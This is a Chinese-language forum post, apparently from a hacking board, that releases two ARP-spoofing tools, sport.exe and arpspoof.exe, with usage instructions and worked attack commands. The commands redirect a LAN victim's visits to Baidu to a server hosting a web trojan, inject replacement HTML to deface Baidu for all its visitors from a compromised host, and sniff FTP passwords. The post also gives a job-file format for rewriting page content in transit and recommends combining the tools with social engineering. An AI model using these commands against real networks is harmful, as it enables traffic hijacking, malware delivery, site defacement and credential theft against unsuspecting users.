基于arp欺骗的端口劫持工具(sport) 和会话修改工具(arspoof)

原创]基于arp欺骗的端口劫持工具(sport) 和会话修改工具(arspoof)

[原创]基于arp欺骗的端口劫持工具(sport) 和会话修改工具(arspoof)

第一个: sport.exe

适应环境：Lan + Switch
sport.exe (VC++ 6.0 && Winpcap 3.1 && UPX Release) 17KB

ARP portspoof Ver 1.0 by cooldiyer
Usage:
  sport <Target> <IP1> <port> <IP2> <port> <AdpNum>
  sport /l

sport /l 列出网卡

假定baidu.com的IP为220.181.18.114, 要欺骗的IP为192.168.0.12,网卡ID为2
这时要想让192.168.0.12访问百度的时候数据转发到别的网站，可用如下命令

转到202.107.5.23 的81端口上 (你架好的网马) 网卡ID为2

sport 192.168.0.12 220.181.18.114 80 202.107.5.23 81 2

这时192.168.0.12访问baidu的时候返回的数据就是202.107.5.23的81端口上返回的信息

也可以转到局域网其它主机上，如

sport 192.168.0.12 220.181.18.114 80 192.168.0.100 8080 2

还可以转到自己上面，假定自身IP为192.168.0.18，架个web服务器，端口为81

sport 192.168.0.12 220.181.18.114 80 192.168.0.18 81 2

192.168.0.12访问百度时出来的就是你自己web服务上的页面

因为程序基于ARP欺骗，所以Target也就是受骗主机必须与你一个网段
还有就是不能欺骗网关（因为危害性过大，程序略去这段代码）

这些功能，可以用来做内网渗透，加上社会工程学，能做很多想不到的事情
__________________________

第二个: arpspoof.exe

适应环境：Lan + Switch
sport.exe (VC++ 6.0 && Winpcap 3.1 && UPX Release) 19.5KB

ArpSpoof Ver 3.1 by CoolDiyer
Usage:
  ArpSpoof <IP1> <IP2> <PORT> <AdpNum> <Mode> <JobFile>
  ArpSpoof /l
       Mode Options:
               0       IP1 --> IP2
               1       IP1 <-> IP2
Examples:
       > ArpSpoof 192.168.0.1 192.168.0.8 80 2 1 job.txt
         #Spoof 192.168.0.1 <-> 192.168.0.8

       > ArpSpoof 192.168.0.1 192.168.0.8 80 2 0 /RESET
         #Reset 192.168.0.1 --> 192.168.0.8

       > ArpSpoof /l
         #Lists Adapters

       > ArpSpoof /n
         #Release a new replace job file

程序实现的功能就是ARPSpoof欺骗转发数据包的同时修改数据，加入恶意代码 （可用在公网上）

arpspoof /l 列出网卡ID

注意JobFile里面内容格式如下（可以用arpspoof /n新建一个任务文件）

----
<hea
----
Hack by cooldiyer<noframes>
----
<HEA
----
Hack by cooldiyer<noframes>

懂超文本的可以一下子就看出来什么意思了，就是把“<hea”换成“Hack by cooldiyer<noframes>”这样的话，网页就只显示了
“Hack by cooldiyer”，因为<noframes>标签屏蔽了它后面所有的标签,这招绝吧，呵呵
程序把它“----”当做分隔符，从第一个分隔符开始，第一个是要替换的旧字符串，第二个分隔符下是要替换成的新字串，不能换行
依次下去，第三个分隔符又是一个要替换的旧字符串，第四个又是一个要替换成的新字串,依次类摊,可以无限添加，不过越少越好，
因为多了程序吃不消的

下面说攻击实例

1:外网攻击实例

比如baidu主机为220.181.18.114，你有这个网段随意一台主机的最高权限比如220.181.18.9，网关为220.181.18.1
你就可以黑百度了，网卡ID为2，只更改百度到网关的数据就够了，job.txt 用 arpspoof /n生成,命令如下
   arpspoof 220.181.18.1 220.181.18.114 80 2 0 job.txt
这样，其它人访问百度时候就只看到一行字“Hack by cooldiyer”,当然你也可以更改其它数据用做别的用途

2:内网攻击实例
  道理一样，你想让192.168.0.100访问百度时看到一个被黑的页面，网关为192.168.0.1，其它默认，执行命令如下：
  arpspoof 192.168.0.1 192.168.0.100 80 2 0 job.txt
  它访问百度里就看到被黑页面了，当然你也可以改写成其它的代码

3: 数据嗅探，呵呵，基本的功能，如果参数后面不跟任务文件的话，程序就是把指定端口的数据给显示出来如，嗅探FTP密码

  arpspoof 202.103.248.1 202.103.248.100 21 2 1
 
  程序会自动把嗅探到的21端口的数据给显示出来